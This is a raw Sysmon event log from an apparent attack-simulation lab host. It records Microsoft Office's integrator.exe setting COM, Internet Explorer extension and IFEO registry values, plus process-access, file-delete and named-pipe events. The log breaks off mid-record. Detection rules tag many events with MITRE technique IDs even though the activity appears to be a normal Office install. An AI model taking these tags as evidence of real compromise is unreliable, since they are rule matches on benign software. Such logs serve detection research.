13241300x800000000000000041803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{3B0BD075-929C-4E52-AAD1-458C81A10B24}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9ED13477-E909-45BC-BADC-2106D04D6BD7}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.299{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{9ED13477-E909-45BC-BADC-2106D04D6BD7}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{BDEADEF5-C265-11D0-BCED-00A0C90AB50F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{BDEADEF5-C265-11D0-BCED-00A0C90AB50F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{BDEADE9E-C265-11D0-BCED-00A0C90AB50F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{3FD37ABB-F90A-4DE5-AA38-179629E64C2F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{3FD37ABB-F90A-4DE5-AA38-179629E64C2F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{62B4D041-4667-40B6-BB50-4BC0A5043A73}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{62B4D041-4667-40B6-BB50-4BC0A5043A73}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9203C2CB-1DC1-482D-967E-597AFF270F0D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 10341000x800000000000000041792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.284{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-BF08-00000000F001}4908C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000041791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{9203C2CB-1DC1-482D-967E-597AFF270F0D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{E7339A62-0E31-4A5E-BA3D-F2FEDFBF8BE5}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.284{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 10341000x800000000000000041788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.268{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-BF08-00000000F001}4908C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.268{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-BF08-00000000F001}4908C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000041786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.268{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.268{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.268{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.SETLANG.16.1033.hxnMD5=8BA80BEAF7D4BCFD19DA86A70E700BF3,SHA256=10A07230E17D8C79826797772EB6E9D50B70F731BB346C3B91AC18DAFCEA9F75,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.252{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.GRAPH.16.1033.hxnMD5=756AFAB64B1B9D41361CDF91FB049257,SHA256=1AB97BFAAC3B300DFC862B7E9D17C52592DDEA9B599986FB4D489296ED9A2631,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.237{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-BE08-00000000F001}6360C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000041772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}Microsoft OneNote Namespace Extension for Windows Desktop Search 10341000x800000000000000041771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.221{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-BE08-00000000F001}6360C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 13241300x800000000000000041770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\ONFILTER.DLL 10341000x800000000000000041769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.221{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-BE08-00000000F001}6360C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000041768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{6EE84065-8BA3-4a8a-9542-6EC8B56A3378}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\ONFILTER.DLL 13241300x800000000000000041767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{C7DFFDF1-BD1F-450A-B98D-96B6D30BA4C1}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\ONFILTER.DLL 13241300x800000000000000041766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{E2F5480E-ED5A-4DDE-B8A8-F9F297479F62}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4693FF15-B962-420A-9E5D-176F7D4B8321}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9FBC2D8F-6F52-4CFA-A86F-096F3E9EB4B2}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{20E823C2-62F3-4638-96BD-90F4F6784EBC}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{312AB530-ECC9-496E-AE0E-C9E6C5392499}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{F90DFE0C-CBDF-41FF-8598-EDD8F222A2C8}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{DDFE337F-4987-4EC8-BDE3-133FA63D5D85}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5A98B233-3C59-4B31-944C-0E560D85E6C3}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4039B326-9F27-4B4A-B460-47A0C6A39D5C}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\MSGFILT.DLL 13241300x800000000000000041757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\ClsidExtension{FFFDC614-B694-4AE6-AB38-5D6374584B52} 13241300x800000000000000041756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\CLSID{1FBA04EE-3024-11d2-8F1F-0000F87ABD16} 13241300x800000000000000041755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\IconC:\Program Files\Microsoft Office\root\Office16\ONBttnIELinkedNotes.dll,103 13241300x800000000000000041754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\HotIconC:\Program Files\Microsoft Office\root\Office16\ONBttnIELinkedNotes.dll,103 13241300x800000000000000041753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\ToolTipOneNote Linked Notes 13241300x800000000000000041752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\MenuTextOneNote Lin&ked Notes 13241300x800000000000000041751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\ButtonTextOneNote Lin&ked Notes 13241300x800000000000000041750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}\Default VisibleYes 13241300x800000000000000041749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{FFFDC614-B694-4AE6-AB38-5D6374584B52}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\ONBttnIELinkedNotes.dll 13241300x800000000000000041748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\ClsidExtension{48E73304-E1D6-4330-914C-F5F514E3486C} 13241300x800000000000000041747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\CLSID{1FBA04EE-3024-11d2-8F1F-0000F87ABD16} 13241300x800000000000000041746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\IconC:\Program Files\Microsoft Office\root\Office16\ONBttnIE.dll,103 13241300x800000000000000041745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet 